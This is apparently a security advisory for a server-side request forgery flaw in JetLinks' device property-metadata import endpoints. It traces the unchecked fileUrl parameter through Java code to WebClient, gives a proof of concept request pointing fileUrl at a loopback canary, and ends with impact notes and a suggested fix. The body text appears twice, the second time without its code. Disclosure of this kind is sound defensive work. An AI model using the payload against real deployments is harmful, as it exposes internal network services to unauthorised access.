Summary
The device property-metadata import endpoints accept a caller-controlled fileUrl query parameter. Before the application decides whether the response is a valid CSV/XLSX file, the import service obtains an input stream from that URL. The HTTP branch accepts any string beginning with http and sends it through WebClient without a destination allowlist or resolved-address check.
Root Cause
The vulnerable source is the fileUrl request parameter accepted by the property-metadata import endpoints. DeviceProductController.java:334-349 passes the product import URL to the import service, and DeviceInstanceController.java:1069-1082 contains the equivalent device import path:
@PostMapping(value = "/{productId}/property-metadata/import")
public Mono<String> importPropertyMetadata(
@PathVariable String productId,
@RequestParam String fileUrl) {
return configMetadataManager
.getMetadataExpandsConfig(...)
.collectList()
.map(PropertyMetadataWrapper::new)
.flatMap(wrapper -> importExportService
.getInputStream(fileUrl)
.flatMapMany(inputStream ->
read(inputStream, FileUtils.getExtension(fileUrl), wrapper))
.map(PropertyMetadataExcelInfo::toMetadata)
.collectList());
}
The request parameter is passed to importExportService before the file extension or spreadsheet parser can reject the response. DefaultImportExportService.java:82-95 selects the remote branch based only on a string prefix:
public Mono<InputStream> getInputStream(String fileUrl) {
return Mono.defer(() -> {
if (fileUrl.startsWith("http")) {
return client.get()
.uri(fileUrl)
.accept(MediaType.APPLICATION_OCTET_STREAM)
.exchangeToMono(...);
}
...
});
}
The shared FileUtils.java:139-169 implementation follows the same pattern for related import operations. The attacker-controlled fileUrl therefore travels from the HTTP query parameter to getInputStream, through the HTTP-prefix branch, and into WebClient.get().uri(fileUrl). The response is then passed to the importer as an input stream.
The source-to-sink flow is:
POST .../property-metadata/import?fileUrl=...
-> @RequestParam fileUrl
-> importExportService.getInputStream(fileUrl)
-> fileUrl.startsWith("http")
-> WebClient.get().uri(fileUrl)
-> remote response DataBuffer/InputStream
-> CSV/XLSX parser
POC
Request A:
POST /device-instance/union-ssrf-product2/property-metadata/import?fileUrl=http://127.0.0.1:28081/poc/jetlinks-community_SSRF-002-A HTTP/1.1
Host: localhost:31905
User-Agent: curl/7.81.0
Accept: */*
X-Access-Token: <redacted>
Content-Type: application/json
Response A:
HTTP/1.1 400 Bad Request
traceparent: 00-22ed42864eb23807f9fb1c146f681777-4444f114e11cb4c7-01
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Content-Type: application/json
Content-Length: 93
{"message":"unsupported format:","status":400,"code":"unsupported","timestamp":1785654951827}
Request B used the same endpoint with SSRF-002-B in fileUrl. Its response was:
HTTP/1.1 400 Bad Request
traceparent: 00-d7ea6c63c25126bb7a5446526fca661c-600f1466a4e9ec52-01
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Content-Type: application/json
Content-Length: 93
{"message":"unsupported format:","status":400,"code":"unsupported","timestamp":1785654951864}
Target-side canary evidence:
GET /poc/jetlinks-community_SSRF-002-A
source: 127.0.0.1
GET /poc/jetlinks-community_SSRF-002-B
source: 127.0.0.1
Impact
An authenticated principal with property-metadata import permission can make JetLinks retrieve arbitrary HTTP resources reachable from the application network. The response is passed into a file parser, so the endpoint may additionally disclose parser-dependent content or create resource-consumption pressure.
Suggested Fix
Prefer a managed file identifier over a free-form URL. If remote import must remain supported, use an explicit scheme/host/port allowlist, resolve and validate every address before connecting, disable unsafe redirects, and enforce response size, timeout, and content-type limits before parsing.
Summary
The device property-metadata import endpoints accept a caller-controlled fileUrl query parameter. Before the application decides whether the response is a valid CSV/XLSX file, the import service obtains an input stream from that URL. The HTTP branch accepts any string beginning with http and sends it through WebClient without a destination allowlist or resolved-address check.
Root Cause
The vulnerable source is the fileUrl request parameter accepted by the property-metadata import endpoints. DeviceProductController.java:334-349 passes the product import URL to the import service, and DeviceInstanceController.java:1069-1082 contains the equivalent device import path:
The request parameter is passed to importExportService before the file extension or spreadsheet parser can reject the response. DefaultImportExportService.java:82-95 selects the remote branch based only on a string prefix:
The shared FileUtils.java:139-169 implementation follows the same pattern for related import operations. The attacker-controlled fileUrl therefore travels from the HTTP query parameter to getInputStream, through the HTTP-prefix branch, and into WebClient.get().uri(fileUrl). The response is then passed to the importer as an input stream.
The source-to-sink flow is:
POC
Request A:
Response A:
Request B used the same endpoint with
SSRF-002-BinfileUrl. Its response was:Target-side canary evidence:
Impact
An authenticated principal with property-metadata import permission can make JetLinks retrieve arbitrary HTTP resources reachable from the application network. The response is passed into a file parser, so the endpoint may additionally disclose parser-dependent content or create resource-consumption pressure.
Suggested Fix
Prefer a managed file identifier over a free-form URL. If remote import must remain supported, use an explicit scheme/host/port allowlist, resolve and validate every address before connecting, disable unsafe redirects, and enforce response size, timeout, and content-type limits before parsing.